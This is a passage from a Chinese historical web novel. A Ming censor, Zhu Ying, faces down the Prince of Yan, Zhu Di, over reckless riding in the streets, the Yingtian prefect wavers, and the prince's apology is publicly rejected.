不过一眨眼的功夫,三十余步的距离已经彻底拉近到了十步! 眼看双方就要撞在了一起,朱棣胯下的马匹就要跨到朱煐的身上,结果就在此时..... “唏律律!!!” 战马长嘶,眼看就要撞上,朱棣手上缰绳猛地一拉,人和马直立而起,朱煐微微抬头,马匹和朱棣的身躯在他的头顶,遮住了太阳..... 战马的一双蹄子落下,马头几乎已经贴到了朱煐的脸上,朱煐甚至能感受到战马大声呼吸喷出了热浪..... 而此时的朱棣脸色铁青无比,他看着依旧没有后退半步甚至神色都没有丝毫半点变化的朱煐..... 随着朱棣缰绳勒住,他的心腹也纷纷勒住了缰绳,一行人就这么策马站在朱煐三人面前..... “这他娘的当真不怕死啊!” 众人的心中不约而同的升起了这么一句.... 朱棣原本是想借势威逼朱煐三人退让,可没想到,自己仿佛就像是被无视了一样,对方真的将生死置之度外,好像会被撞死的不是自己一样,面对如此冲锋,正常人都知道退避,哪怕想要螳臂当车,可真正危险到面前,且有提前的心理准备的时候,人求生的本能也会促使人退让,可结果这三人,居然强行不退半步,这是人? 非人哉! “好!你们三个很好!” 朱棣看着朱煐、张平、方孝孺,咬牙切齿,他晓得今天这事情是无法善了了,事情已经闹大了! 周遭围观的百姓越来越多,再加上刚刚那一个冲锋,想必今日之事必然已经传到了老朱的案头..... 都是这三人! 朱棣愤懑地看着眼前三人。 这三个该死的儒生! 朱煐、张平、方孝孺三人出行身着长衫,装扮是正常的文人装扮,是以朱棣以为是三个老书生。 朱棣看着三人的眼睛仿佛要喷火..... “你们三人本王记住了,当真好得很啊!” 朱棣咬牙切齿地沉声说道。 朱煐不卑不亢地冲朱棣拱了拱手:“多谢燕王殿下夸奖,我等愧不敢当。” “不知王爷可还要再撞一次?” “若是在王爷撞死我之前我退了半步,那这些年的圣贤书就算我白读。” “你要如何?” “本王赶时间,直说吧。”朱棣看着眼前的朱煐只觉得头疼,只想赶紧打发了眼前人。 “王爷这话说的就不对,什么叫做我要如何?王爷当街纵马已触律法,既然是触我大明律例,那自该依理交由应天府府衙,由应天府审理,定罪该是应天府府尹定罪。” 朱煐看着朱棣正色道。 听到朱煐这话,朱棣一愣。 什么意思? 要我去应天府府衙? 这小子..... 朱棣的心里不由泛起了一阵疑惑。 自己可是燕王,这小子是真读书读傻了还是有意不想与自己为难? 这去应天府府衙,应天府府尹敢定罪?过去别说问罪了,不好吃好喝招待一顿都算是应天府府尹清正廉洁。 “你当真要本王去应天府府衙?” “天子犯法与民同罪,当街纵马,王爷不入天牢,于理法不容。” 朱煐面不改色一字一句地说道。 朱棣的老脸一黑.... 原本他还不确定眼前的朱煐到底是什么想法,可随着朱煐这话一出,他瞬间确定了。 这他娘的就是读书读傻了的书呆子! 居然还想把老子打入天牢? 老子是谁? 老子堂堂燕王!就算是到了应天府,那应天府府尹也敢让本王去天牢? “这天牢怕是容不下本王!” “明律面前,人人平等,天牢容得下任何人!” 朱煐面对朱棣直接硬刚,不退半点。 朱棣身边的心腹们一个个看朱煐仿佛看傻子,唯独一个黑衣僧人眯着眼睛,看着朱煐,眼中充斥着好奇与不解....他与旁人想的不同,他并不觉得眼前三人是傻子。可....倘若不是傻子,那这三人到底有何倚仗呢? 难不成是有人想按算燕王? 姚广孝想的很多,这京城眼下可不太平,太子刚死,各方势力错综复杂,眼下燕王刚入京城就遇到了这样的麻烦,这一切....好像太过巧合了..... ..... 与此同时,朱煐身边,张平和方孝孺看向朱煐的眼神中充满了崇拜与叹服..... 老大,不愧是你啊老大! 张平此刻对于朱煐的敬仰宛若黄河之水。 他一直以来在朱煐身边,这些日子对于朱煐的所作所为已经是逐渐习惯,他本以为自己已经足够了解自己的老大,已经足够习惯了朱煐的日常所为,可当朱煐说出要把朱棣送入天牢的这一句话的时候,张平依旧是被震撼到了! 燕王是谁? 燕王是陛下亲儿子,是大明燕王! 您老人家要把燕王送入天牢? 满朝文武,谁敢? 唯有老大! 张平叹服。 他想都不敢想的事情,却被朱煐这么赤裸裸地给说了出来..... 这一刻,张平忽然感觉自己的选择对了! 死有轻于鸿毛有重于泰山,就算是当场真被暴怒的燕王给撞死,那也是死得其所,无愧于心,无愧这些年所学,无愧先贤留下的圣贤书和谆谆教诲! 朱棣眯着眼睛看着朱煐,也不说话,就这么盯着..... 四目相对好一阵,朱煐的眼神没有半点的退避。 “哈哈哈哈!” 忽然,朱棣大笑。 “小子,你好大的胆子!” “很少有人能与本王如此说话!” “本王可以同你去应天府,可却不知你有何手段将本王送入天牢?” “那就不劳燕王费心了,想必悠悠众口之下,应天府府尹大人也会秉公执法,不会徇私。王爷还是别太自信的好。” 朱煐冷哼道。 “啪~啪~啪!” 朱棣怒极反笑,一边鼓掌一边笑道:“好!” “好一个秉公执法,好一个悠悠众口,那今日本王就要让你看看,究竟谁入这天牢!” “年轻人,这世界不是你所看到的那般简单,今日本王教你一次,让你也知,何为人外有人,天外有天!” “不劳烦王爷,我觉得府尹大人他会给百姓一个公道!“ 朱煐不冷不淡地说道..... “哈哈哈哈,好好好!” “本王喜欢你的自信,希望你能一直自信!” 第44章 这真是....造孽啊! 应天府作为京城,应天府尹的职位不低,是正三品的朝廷大员,日常也要参加奉天殿朝会。 而眼下的应天府府尹名叫杨顺,字德才。杨顺是洪武朝的老人了,在朝中十六年,三次贬谪又三次复用,一来他的能力不错,被老朱看中,二来就是杨顺在官场上有着自己的生存之道,他有着敏锐的直觉,知道哪些人能惹,哪些人不能招惹。 除此之外就是他卓然的政治智慧以及甘愿被贬的魄力..... 想在洪武朝安然无恙地当官可不是一件简单的事情,胡惟庸,李善长,刘伯温,这一个个哪个不是聪慧过人,功劳傍身的主?可又有哪一个善始善终了? 杨顺能在朝中十六年不仅安然无恙还坐到了如今正三品的应天府府尹的位置上,他自然有着自己的独到之处。 除了心中不轻视每一个人,分辨出哪些人万不可招惹之外,杨顺他还擅长审时度势,一旦感觉朝廷的风头不对,他就会考虑远离.... 是的,远离! 这就是他的办法。 个人无法阻挡老朱的意志,朝堂的漩涡不会因为个人的努力而消失半点,所以杨顺选择远走避祸,主动外派。 胡惟庸案的时候他提前离开了应天府,下放到了地方当差,虽然官位下来了,可小命却保住了..... 马皇后去世,他又一次主动离开了应天府.... 每一次朝中遭逢大变之初的时候,杨顺的第一反应就是离开避祸! 而眼下.... 杨顺陷入了纠结中..... 他的理智告诉他,眼下的朝中时局动荡,各方势力暗中发力,朝廷之中暗流汹涌,最近老朱的表现也颇为异常,从表面上看好似和蔼了不少,可江山易改本性难移,一个暴虐了一辈子的人,会忽然变成一个好脾气的好好先生? 不管别人信不信,反正杨顺是不信。 那么如今的这异常表现,也就极有可能意味着....陛下在隐藏着什么..... 应天府府衙,今天倒是清闲,没有什么棘手的案子,杨顺坐在位置上脑海里思考着这些日子以来朝中的局势,同时分析眼下的时局....揣测老朱的想法.... “陛下性情大变,是在隐藏什么?亦或是在谋划,图谋什么?” 杨顺心中惴惴不安。 他总觉得这不是什么好事.... 皇储之争逐渐激烈,朝中每天大臣们都是互喷,撕破脸,而陛下却全然没有半点动怒的意思。 这不对劲,这很不对劲! 杨顺心里升起了警兆.... 倘若是十年前,眼下的这局面,他的第一反应就是风紧扯呼,自己请罪下放地方锻炼,甭管如何先躲一阵子.... 哪怕是五年前,杨顺也会说走就走,不带犹豫的。 可现在..... 入朝十六年,如今年近五旬..... 眼下有事皇孙争储的关键时刻,倘若此时离开,或许这辈子就再难回来了.... 年纪大了,杨顺没有了从头再来的信心和勇气..... 所以他在犹豫,这一次的选择对他而言十分重要。 是急流勇退,还是再搏一把? “难....难选啊....” 杨顺纠结了好几日了,可依旧没有做出决定。 他不是一个优柔寡断的人,以往也十分果决,可这一次,他当真不知道该如何选择了.....关系往后半辈子甚至关系到整个杨家以及后世子孙..... 就在杨顺纠结时,忽的应天府府衙外响起了一阵喧闹.... 他的思绪也被这一阵喧闹声给打断。 杨顺不禁皱眉。 这应天府府衙外往日可从未有过这样的喧闹,这好歹是府衙,大明的百姓对于府衙还是有着先天的敬畏感的,不敢在府衙四周大声喧哗..... “外面何事喧哗?” “你去外面看看。” 杨顺随意点了个人。 “是,大人。” 那人赶忙出门查看.... 片刻后人就匆匆回来了,脸上满是惊慌之色..... “不...不好了大人!祸事了!” “是燕王,燕王殿下入京了!” “燕王殿下?” 杨顺一愣,旋即豁然起身。 他是朝廷的三品大员,可在燕王面前,什么都不是,那可是陛下亲子,大明实打实的王爷! 可一愣之后,杨顺的心中疑惑非但没有变少,反而更疑惑了.... 燕王入京,这来应天府府衙做什么? 他入京不该先入宫寻陛下吗?这府衙的位置也不在前往皇宫的位置上啊..... 虽然心中不解,可杨顺知道一点,那就是燕王来了,自己得出去迎接。要不然得罪了燕王,这原本就不好过的日子,那就更不好过了...... “大人,眼下如何?燕王殿下好像还带了一群人,就在门外!” “还能如何?”杨顺翻了个白眼:“还不快带路,随我迎接王爷?” ...... 杨顺深谙这朝廷的规矩,燕王朱棣,是他心中被他定义为不可招惹的存在..... 原本就心中不安的杨顺,这会儿更不安了.... 这朝中局面已经够乱了,这燕王又入了朝,唉.... 杨顺心中暗暗叹了口气,不敢怠慢,赶忙带着人出府衙去迎朱棣.... 而此时的应天府府衙门口。 朱棣带着十余个心腹一马当先走在府衙门前,周围是簇拥着的看热闹的百姓,朱棣也并未驱逐,而是任凭他们跟着。 至于朱煐三人则是在朱棣以及他的心腹们的身后,藏在众人身后,并不显眼..... “老大,我们何不上前?要不这燕王还当我们怕他嘞。” “他毕竟是燕王,让他先得意一阵,我等先看看这位应天府尹是何做派。” 朱煐真正的目的还是让朱棣能够对自己印象更加深刻。 这就得在他最得意之时再痛击,只有这样,才能在这朱老四心里留下深刻的印象。 贵人多忘事,这朱老四太贵,经历的事情太多,这要是不让他印象深刻一些,没等登基呢,说不定就把自己给忘了,这可不成! 朱煐觉得自己还是得尽力而为。 当然,对张平等人自然是不能这般说的,于是朱煐随意编了个理由。 张平和方孝孺互视一眼,两人对于这个理由却是深信不疑。 心中对朱煐不由更加佩服。 没想到都到了这个时候还半点不慌,还想借此看看我大明的官员是何成色,这俨然就是全然不把自己的性命放在眼里,别人是视金钱如粪土,这朱御史是视性命如粪土啊! ....... 朱棣以及他的这些心腹可不知道朱煐打的什么主意,见三人往后退,只当是三人临阵怯了。 朱棣看了后面的朱煐三人一眼,心中不屑。 若是几人当真敢在这应天府府衙同自己对峙,那还高看对方一眼,可这事到临头却又怕了,当真是外强中干,不堪至极。 “你们若是怯了也晚了,今日既然将我请到了这府衙,不是我进去,便是你们进去!” 朱棣对着朱煐三人冷笑道,说完也不等张平和方孝孺开口,大步就往应天府府衙走。 今日的事指定是闹大了,朱棣深知老朱那里一顿责罚是免不了的,而这一切都得怪这不长眼的三个儒生! 他得让这三人吃个教训,让他们也知什么叫做人外有人,天外有天! 当然,更重要的原因还是,这要是不给这三人个教训,朱棣咽不下这口气啊! 按照原本的计划,当街纵马最多就是受点责骂,但也给了朝廷一个台阶,让大家看到了自己的态度,并非无故不奉诏。 可现在,全毁了! 朱棣正要入门,恰好就赶上了带着人马走出府衙的杨顺..... 杨顺是洪武朝的老臣了,他是认得朱棣的,一看到朱棣,顿时神色一肃。 当真是燕王! “下官见过王爷!” “王爷何时入的京?不知王爷来府衙,有失远迎,还望王爷恕罪。” 杨顺明白双方身份上的差距,主动打招呼。 朱棣听着杨顺的话,身子骨都不由站的更直了,他这会儿很想看看朱煐三人的脸色,可惜这三人站在他的身后,眼下又不好转过头去,毕竟这伸手不打笑脸人,应天府府衙的人这般识趣,不好拂了对方面子..... “你叫什么名字?是何职位?你认得本王?” “下官杨顺,受陛下信赖添为这应天府府衙府尹,入朝十六年,早先曾与王爷见过,只是王爷不识下官,不过下官却认得王爷。” 杨顺笑着冲朱棣说道。 朱棣当即满意地点了点头。 对方的这回答他很满意,是应天府府衙的府尹,总管应天府府衙。 府尹认识自己,那这就更好办了,路上的时候朱棣唯一担心的是这府尹有眼不识泰山,所以他已经做好了自报家门以及验明正身的准备。 不过眼下看来却是不用了。 认得自己,还能把自己这真燕王给抓进牢去? “王爷,不知您来这府衙...可是有所指点?” 杨顺小心翼翼地看向朱棣.... 朱棣一摆手:“指点?本王可不敢,是有人想将本王送入你这应天府府衙的牢房,本王特地来看看这府衙的牢房环境如何,也好看看本王能不能住得惯。” 杨顺闻言一愣。 有人要将燕王送进牢房? 谁有这么大的胆子? 杨顺第一反应就是老朱,可转念一想,倘若是老朱,那不直接送进去了?还能放着人过来? “不知是何人要将王爷送入牢房?” “王爷所犯何事?” 杨顺是个谨慎的人,虽然心中觉得不会是老朱,可出于保险起见,他还是问了嘴.... “本王当街纵马,有三个儒生见了要将本王送入这应天府的牢房。” 朱棣冷笑道,言语中满是不屑。 杨顺听到当街纵马不由心里头一突突,看向朱棣小心开口:“王爷未曾伤人吧?” “未曾,本王只是回宫心切,急着想见父皇,又不是故意纵马,又怎会伤了百姓?最多受了些惊扰。”朱棣解释道。 听到朱棣的解释杨顺这才彻底松了口气。 当街纵马虽然说确实是违反了律法,可未曾伤人的话,那这事情就可大可小了,这案子可就好办多了,怎么判都不需要担风险。 “王爷回宫心切,此乃大孝,当街纵马也属无奈之举,百姓虽受了惊扰却想必将心比心也能感受到王爷的孝心,若是王爷过意不去,发些银两,想必百姓也不会有什么意见。” “是谁这般不长眼,如此小事便要将王爷送入这应天府府衙大牢?当我大明的牢房是他家开的不成?” “空谈误国,这些儒生可知如此会耽误本官多少事情?占用多少应天府府衙资源?” “王爷可否告知此三人现在何处?下官先将这影响应天府府衙日常运转之人打入牢房,细细审问,看他们是何居心!” 杨顺小心谨慎地打探好了所有的条件,确认了朱棣所犯的罪过不是什么大罪,且只是和三个儒生发生冲突,那这事情就好办了,他当即就硬气了起来..... “哈哈哈哈,那就有劳杨大人了,本王也是觉得,这般小题大做,影响应天府府衙日常运转,实在可恨,是该关上一阵让他们反省反省。” 朱棣大笑,说着看向了后方:“就是那三人。” 朱棣边说着边抬起手指向朱煐三人..... 此刻的朱棣很想看看朱煐三人此刻的表情。 他的眼神往三人方向看去,却看到朱煐、张平和方孝孺三人此刻脸上却依旧没有半点惧意,眉头不由微皱...... 这不是他想看到的。 还在给本王装? 本王看你们能装到何时! ...... 而就在朱棣手指指向三人的同时.....杨顺杨府尹也顺着朱棣手指的方向看了过去..... 紧接着他就看到了站在人群中的朱煐、张平和方孝孺..... 这一刻,杨顺整个人嗡的一下,脑子一片空白....人懵了..... 他第一眼看去的时候,尚未看清三人的脸,就感觉这三人眼熟,而稍稍细看,看清了三人面貌之后,杨顺的脸色骤然变了! 这三个家伙他可太太太熟了...... 杨顺的脸色变得难看到了极点..... 朱煐....张平....方孝孺..... 你妈! 不是三个儒生吗? 怎么会是这三个家伙? 但凡是在朝中上朝的大臣,就没有不认识这三个家伙的,杨顺身为应天府府尹,堂堂三品大员,自然是能参与朝会,只是他不怎么说话,担心在眼下这个时局惹火上身,可面对眼前这三个把朝堂都给闹翻天了的始作俑者,尤其是朱煐.....杨顺又怎么会不认识? 合着要把燕王送进应天府府衙牢房的....是这三人? 杨顺的脸色比苦瓜还苦..... 造...孽...啊! 第45章 朱棣傻眼了 杨顺看向朱棣,一脸的苦笑..... 不是,我的王爷,这就是你说的三个儒生? 这三个是儒生不假,可这特么的是普通儒生吗? 这几日朝堂上风波诡谲,杨顺虽是应天府府尹可却是连个屁都不敢放啊! 而这一切是怎么造成的? 这就是朱煐这位朱御史一手造成的啊! 当日殿试之后国本之争直接将皇储争斗摆到了明面上来,自那之后开始淮西一脉与朝中文官集团水火不容,就连没有上朝惯例的允熥殿下也被陛下钦点,日日早朝。 身为应天府府尹杨顺被迫被裹挟进了文官集团的行列,不过他不敢吭声开口,生怕得罪了淮西一脉,只是在大家全都附和的时候他才跟着附和。他可不想得罪任何人。 刚入殿试就直接指着陛下怒喷,指着满朝文武说兖兖诸公庸庸碌碌,特么的,这朱御史,也是我杨顺能惹得起的?我也不配惹啊! 这张平张志远也不是个简单人,虽也是初入朝堂,可见朱煐珠玉在前立刻紧随其后,可以说,他一手将这几日的皇储之争推向了高潮!朱御史那是视十族被诛而无物,这张志远却也是个不怕被诛三族的角色。 前几日张平的大胆之言杨顺尚感觉历历在目,而在被朱煐这位朱御史给救下之后,两人就厮混到了一起,这下好了,天雷勾动地火,两人在朝中生生在以拥立朱允熥,以蓝玉为首的淮西一脉和拥立朱允炆,以刘三吾为首的文官集团之间开出了一个新的地盘。 两人站在朝中就是自成一脉!偏偏谁也不敢去轻易招惹,不光如此,两人还频频攻讦其他两派,更重要的还是陛下的态度,这么些日子下来,两人在朝中大肆树敌,可却安然无恙,这其中陛下的态度尤为关键,作为官场上的老油条,杨顺知晓,这背后的水太深! 而至于这方孝孺..... 这位爷的脾气性格是出了名的刚正,身居汉中府教授之职,刚受诏入京,第一天就奏了朱煐,与之交手过程中虽然落入下风可却并未溃败,结果不曾想好似是被人算计当了枪使,若是寻常官员,此事也只能自认倒霉了,至少杨顺觉得这事情要是落到自己的头上大抵就是如此,除了自认倒霉之外别无二路,可这方孝孺..... 其性情之刚烈,丝毫不弱于朱煐,居然朝堂上就调转了枪口,喷得一众文官哑口无言..... 此后好似就与朱煐,张平志趣相投,自成一脉.... 眼下要说杨顺在朝堂上最不想招惹的人,不是淮西一脉,也不是文官集团,而是这三个不要命的家伙! 与别人发生了争端,好歹是还有商量的余地,实在是不行了,大不了投子认负也就是了,可这三个家伙....那干起来是真往死里干啊! 没看到堂堂凉国公都被干得不敢上朝了吗?这还是主动低头去了朱煐府中问了计策才堪堪保住了性命! 这几日朝中的局势变换几乎日日不同,每一步杨顺走得都是步步惊心,这也让他萌生了想要退出这个争斗旋涡的想法,只是他在纠结,未曾做出选择,本想着再看两日,心中一直告诫自己要低调行事,可结果.... 眼下自己是想避开麻烦来着,可这麻烦主动上门,这可如何是好? 此刻的杨顺,郁闷坏了..... ..... 朱棣此时也注意到了杨顺脸色的变化,心里不由咯噔一下..... 这表情...难不成这其中还能发生什么变故不成? 可转念一想,又摇了摇头否了心中的担忧.... “我乃燕王,这三人便是有些能耐,难不成还能将本王送进去不成?” 朱棣从杨顺表情上看出了杨顺或许认识这三人,或许这三人并非简单的儒生,但....那又如何? 自己可是大明燕王!哪怕是有些错误也不是应天府府衙敢判的。 不过朱棣心中却也好奇,好奇地看向朱煐三人....心中不由暗自排腹.... “却是不知晓这三人是什么身份,知晓本王身份还敢如此,难不成背后有人?” 朱棣眯起眼睛,心中猜测.... “杨府尹,好大的威风啊,听这话是想不审此案便将我们三人给送进大牢了?” “好啊,今日我倒是要看看这应天府府衙的大牢与刑部天牢有何不同,大人若是想缉拿,我等三人束手就擒便是。” 朱煐的声音悠悠响起,一边说着一边向着杨顺走了过去..... 杨顺的脸色唰的一下就白了.... 若是论官职,他的官职远在朱煐三人之上,位列三品,也算是朝中大员,可这朝堂的水,深就深在,他不一定看官职高低,一个人好不好惹,也不纯看职位高低.... 就比如眼前这三人,别说是他这小小三品,就算是国公,也不想妄加得罪啊..... “朱御史说笑了,本官觉着,这其中定然是有什么误会,有误会!” “张侍郎,方大人,这里不是说话的地儿,要不然咱进去说?” 杨顺将姿态摆的很低,苦笑着走到三人面前先行见礼。 按理说以杨顺三品的官职,该是朱煐三人先行见礼才是,可眼下却是杨顺主动见礼,这显然是一种示好.... 杨顺迫不及待地将三人的官职和名字给点出,生怕朱棣再开口,将局面推到不可挽回的地步。 另一方面杨顺放低姿态先行见礼其中也有想借此提醒朱棣的意思..... 朱棣也不是蠢人,看到杨顺主动放下姿态给朱煐三人见礼,先是一愣,旋即反应过来,神色不由一肃.... 原本他并不将朱煐三人放在心上,在他看来,不过是三个儒生罢了,可眼下作为应天府府衙府尹,朝堂上身为堂堂三品大员的杨顺面对三人时居然是这个态度,虽然朱棣并未听过三人的名字和名头,可不妨碍他从其中获取信息。 此三人,杨顺显然不想招惹,或者说,在自己这燕王与这三人之间,杨顺都不好做出直接的取舍! 这就有意思了..... 朱棣不由皱眉,冤家宜解不宜结,没想到这三人都是朝中的人,还是连杨顺这三品朝臣都不想轻易开罪的存在,这要是在朝中奏上自己一本,老头子那....不好交代啊..... 毕竟自己确实是当街纵马,有些理亏.... ....... 朱棣思虑的时候,四周的百姓却被这突如其来的变故给惊呆了! 原本大家都是在看热闹,毕竟这热闹事关朱棣这位燕王。 三个儒生,硬刚大明燕王? 这为民请命,不畏权贵的戏码最是受百姓欢迎,是以四周聚拢了不少的百姓.... 可聚拢归聚拢,看热闹归看热闹,大家事实上并不看好朱煐三人,在周遭百姓的心里早就已经开始为朱煐三人默哀了..... 他们面对的可是大明燕王,是陛下的亲儿子! 这天下的王法,可不就是为了权贵而开的吗? 这样的事情在应天府可不罕见,大家都见多了..... 大家以为这一次的事情和以往也是大同小异,而在杨顺亲自出门迎接朱棣这位燕王的时候,周遭的百姓更是确认了心中的想法,大家的心中也并没有什么不忿,甚至都能理解杨顺。 这府尹大人,那也开罪不起燕王啊! 这都不是一个级别的!应天府府衙府尹,何德何能去审陛下的亲儿子? 可就在大家以为事情很快就能有了结果的时候,不曾想场中局面突变,这三个硬刚燕王的儒生,居然大有来头?甚至就连杨府尹都低头以礼相待! 顿时大家就来了兴致,一个个不由自主地看向了朱煐三人....此刻场中所有的目光全都聚焦到了朱煐三人的身上..... 周遭百姓心中尽皆好奇,杨顺的言行引起了大家对朱煐三人的身份好奇..... 京城的百姓毕竟是有见识不浅的,有人从杨顺的言语中猜出了朱煐三人的身份。 “原来是朱御史!” “难怪了,居然是朱御史!” “哪位朱御史?” “还能是哪位朱御史?最近朝中风头最盛的朱煐朱御史啊!” “什么?是他?此次科考最盛名的便是他了!听说这三国演义话本就是朱御史儿时所作!” “三国话本?莫不是那茶馆上说的三英战吕布,桃园三结义....?” “对对对,就是这书,此书就是朱御史所写!” “这书居然是朱御史所著?这话本都在京城流传多年了吧?这朱御史看着年岁也不大啊....” “要不怎么说儿时呢?听说这朱御史年少时双亲重病,他一边写话本卖钱买药,一边暗自寻书苦读,据说朱御史是那魏征转世,看书过目不忘,未曾拜师就无师自通,双亲亡故之后苦读数年,第一次科考便连过数关直入殿试,若非殿试上惊人之语,我想本届状元当属他才是!” “嘶!” “这当真是文曲星啊!未曾拜师自学就能中第?这要是有人教导,那还了得?” “谁说不是呢,朱御史性情刚直,孑然一身,这下这燕王怕是有麻烦了....” “.......” 周遭百姓的议论声不绝于耳,字字句句自然也都落入到了朱棣的耳中..... 自从得到了朱樉入京且无恙的消息之后,这些日子以来朱棣一直都在赶路,朱棣一时间却是忘了朝中的事情,而经周遭百姓这么一提醒,他也终于想起来了,脸色逐渐难看..... 就说朱煐这名字怎么这么耳熟呢,原来就是那殿试上的狂生! 朱棣虽然不在京城,但他在京城自然有消息渠道,而朱煐作为近些日子以来朝中的风云人物,朱棣从情报上自然是见过的,只是粗的一听并没有在第一时间反应过来,经过周遭百姓这么一提,他才意识到这所谓的朱御史究竟是何人。 原来是那狂生!难怪头这么铁! 朱棣脸色连翻变化,得悉了朱煐的身份之后,他顿时就意识到这事情不好办了..... 这当街纵马的事情说大不大,可要是一直有人盯着自己这个事去说,而且把这事情搬到台面上的话,那自己毕竟理亏,情况可就不妙了,万一老头子再借题发挥,那可就真的大大不妙啊..... 得想个法子才是...... 朱棣的脑子疯狂在转,要不怎么说是日后的永乐大帝呢,朱棣有着自己的智慧,他只是稍稍苦思了片刻,灵感划破脑海,立时想到了对策! 眼下的局面是自己不小心与这头铁的朱煐成了敌人,因此引出了这些事,溯本归源,想要解决根本的问题,那....不成敌人不就好了? 朱棣想到这,脸上的表情转怒为喜,脸上眨眼的功夫就洋溢起笑容..... 朱棣满面笑容地向着朱煐走去,走到三人面前.... “原来是朱御史,久仰朱御史大名,不曾想今日会以这种方式相见,本王实在抱歉。” “若是此间有得罪之处,还请朱御史见谅。” 朱棣认认真真地给朱煐三人道歉,态度放的很低..... 而朱棣突如其来的这一出,顿时让周遭所有人都不由得愣住了..... 四周的百姓议论声骤息,一个个瞪大了眼睛看着应天府府衙门口...... 身为应天府府尹的杨顺也是呆怔在了原地,愕然地看着这突如其来的一幕..... 不过杨顺的反应很快,很快就缓过神来,而在缓过神来之后,杨顺顿时松了口气..... 他夹在朱棣和朱煐三人中间里外不是人,眼下虽然身为燕王的朱棣主动低头道歉有些出乎预料,可对于杨顺而言却是个大好事,至少不用夹在中间了.....在他看来,此间事情已经了结了,这堂堂燕王都低头道歉了,朱煐三人已经是大获全胜,他想不到还有什么不了结此事的理由..... 而既然此事已了,那自然也就不需要闹到自己的这应天府府衙了,要不闹到府衙,怎么判也不好判,一个判不好,说不得自己进去都算是轻的..... 而不仅仅是周遭的百姓和杨顺,被朱棣这一手骚操作给惊到的还有朱煐三人..... 尤其是朱煐! 张平和方孝孺只是松了口气,两人也不想当真将朱棣得罪死,毕竟这是大明燕王,真正的老朱亲儿子! 可朱煐和两人的想法不同,他本身的出发点就不同。 原本朱煐打的就是借此事给朱棣留下一个深刻难忘的印象,送他进去蹲一蹲大牢,这不结下死仇了吗? 可现在,朱棣突如其来的低头打了朱煐一个猝不及防! 这要是此事就此了结,那效果可就差了太多了,这要是朱老四大度一些,今天的事情或许就这么过去了,过个几年,谁还记得这事儿啊,就算回想起来,或许也不会有什么深刻的印象,更别提什么死仇了..... “不行!不能就这么算了!” 朱煐心里一凛,这要是到此为止,那今天这忙活大半天不是白忙活了? 第46章 朱樉:我乃大明贤王! 朱棣抬着头看向朱煐。 他已经主动道歉,在他看来今天的这事儿应该就是到此为止了。 堂堂燕王主动低头认错,这哪怕是放到朝堂上令诸公听闻也将骇然。在朱棣看来,自己已经是给足了面子,朱煐没有任何理由再追究此事。 这就是权力,当上位者面对下位者的时候,往往认错成本很低。 下层人想要与当权者争个输赢,要赌上的或许是一辈子和性命,而当权者哪怕是输了,也无非是低头认错,不痛不痒。 然而,即便如此,也已经是奢望,更多的情况是你哪怕争了一个输赢往往最后的结果也是连个道歉都没有..... 要是换个旁人,此事一定是到此为止了,哪怕换成张平和方孝孺,也没有想过再奢望再多.... 不过....朱棣今天注定是要失望了,因为他面对的不是方孝孺,也不是张平,更不是其他人,他面对的是朱煐! 朱煐或者的意义就是找个合适的机会去死。 朱棣不道歉还好,这朱老四一道歉,那这不完了吗? 忙活半天白忙活?这指定不行啊! 就在周围的百姓都以为这场冲突已经到了大结局,有不少人甚至已经准备离开的时候....只听朱煐的声音悠悠响起.... “要是道歉有用的话,那还要大明律做什么?” “燕王殿下,今日无论你说什么,都得依大明律例行事,道歉你是该和陛下道歉,在此之前,我朱煐,只认律法!” 说着朱煐看向此刻已然目瞪口呆的杨顺:“杨府尹,还请你依律法公正审理此案。” 说罢朱煐又看向了此事已经愣在原地的朱棣..... “还请王爷见谅,今日王爷当街纵马,恰好碰上了我们几人,我等官身,王爷方才道歉,今日我等若是接受了王爷的道歉,那那些被王爷纵马骚扰的百姓,又有谁替他们发声?” “我朱煐行事,只求问心无愧,请恕在下不能接受这个道歉,也不能替其他百姓接受这个道歉,我看我们还是依律行事吧,天子犯法与庶民同罪,要是人人违反律法之后都学王爷只是道个歉,那我大明还要这大明律何用?” 此言一出,全场寂然! 应天府府衙之外,陷入了一片死寂.... 而在片刻之后..... “轰!” 全场如同开水般沸腾.... “好!说得好!” “对!天子犯法与民同罪,就是该依法办理!” “道歉有用的话要明律做什么?不愧是朱御史,刚正不阿,早就听闻了朱御史大名,今儿个可算是见识到了.....” “......” 百姓聚拢很多,人群中零零碎碎的议论声响起,要是说让百姓单独站出来当着朱棣的面说这话,大家自然是不敢的,可法不责众,在人群中说两句,谁又知道是自己说的? 一时间,叫好声一片...... 而朱棣的脸色也随着周遭百姓此起彼伏的起哄声变得无比阴沉..... 他万万没想到自己低头了,这朱煐居然还不依不饶! “朱御史,冤家宜解不宜结,本王看此事就到此为止了如何?今日的事算本王呈你一个情。”朱棣的语气变得有些冷冽.... 而朱煐听到这话却是眼前一亮。 冤家宜解不宜结?换句话说,自己选择的这路径没毛病啊,朱老四已经急了!再努把力那就成冤家了! 朱煐当即义正言辞地开口:“公道自在人心,王爷若是能够认识到自己的错误,那知错能改善莫大焉,不过这律法是律法,该受的教训王爷也该受着,至于结不结冤家,呈不呈人情的,下官也不需要。” 朱煐十分硬气,当面直接硬刚朱棣。 朱棣的脸色更难看了..... 他恨不得现在就杀了朱煐,这丫的是把自己的脸面按在地上反复摩擦啊! 而朱棣身后,十余心腹也都是一脸的愤怒,朱棣受到羞辱,他们感同身受!他们的眼神死死盯着朱煐,好像要活剥了他一般..... 面对这些眼神,朱煐直接无视。 不光无视,心中反倒还有些自得。 看来自己的计划效果比想象中的还要不错!这不光让朱老四记住了自己,还让他的这些个手下也都记住了自己,这要是日后朱棣贵人多忘事,还有他的这些个心腹手下提醒他,如此一来就又能想起被自己折辱的不愉快的经历了,这就太妙了! “朱御史,你可别敬酒不吃吃罚酒!” 朱棣身后的心腹终究是忍不住了,一人站了出来,指着朱煐就是开口威胁.... “我老大依明律行事,尔等当街纵马扰民,本就该入这应天府府衙走一遭才是!” 朱煐尚未开口,张平就挺身站了出来。 刚刚朱煐选择不低头硬刚朱棣的第一时间,张平和方孝孺都是一愣,两人显然都没有反应过来,两人全都没有想到在朱棣主动低头认错的情况下,朱煐居然没有选择和解,反而更加坚定! 要知道,哪怕是两人,在朱棣给足了面子的情况下,也会卖个面子,可偏偏朱煐就是没有卖这个面子,所以无论是方孝孺还是张平,全都有些错愕..... 而在短暂的错愕之后,两人的心中就涌现出了一股子惭愧..... 看着朱煐直面燕王,硬要一个律法正义的场面,张平和方孝孺愈发羞愧。 这才是真正的一心为民,无畏无惧啊! 朱御史这境界,远超所有人! 方孝孺的心中也是无比感慨,心中对朱煐更为叹服..... 两人当即坚定地选择和朱煐站在了同一战线..... ....... 